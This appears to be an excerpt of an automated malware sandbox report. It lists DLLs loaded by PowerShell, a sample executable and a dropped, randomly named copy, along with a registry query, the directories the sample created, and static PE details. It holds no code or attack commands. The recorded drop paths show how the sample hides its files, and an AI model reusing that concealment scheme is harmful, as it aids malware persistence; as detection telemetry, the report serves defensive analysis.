Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: mscoree.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: version.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: wldp.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: mscoree.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: version.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: wldp.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: amsi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rasman.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rtutils.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: edputil.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: winmm.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: dwrite.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mmdevapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: devobj.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ksuser.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: avrt.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: audioses.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: midimap.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Directory created: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe			Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Directory created: C:\Program Files\Windows NT\TableTextService\dc45010803acc5			Jump to behavior

Source: 0wdppTE7Op.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 0wdppTE7Op.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 0wdppTE7Op.exe

Static file information: File size 1960960 > 1048576

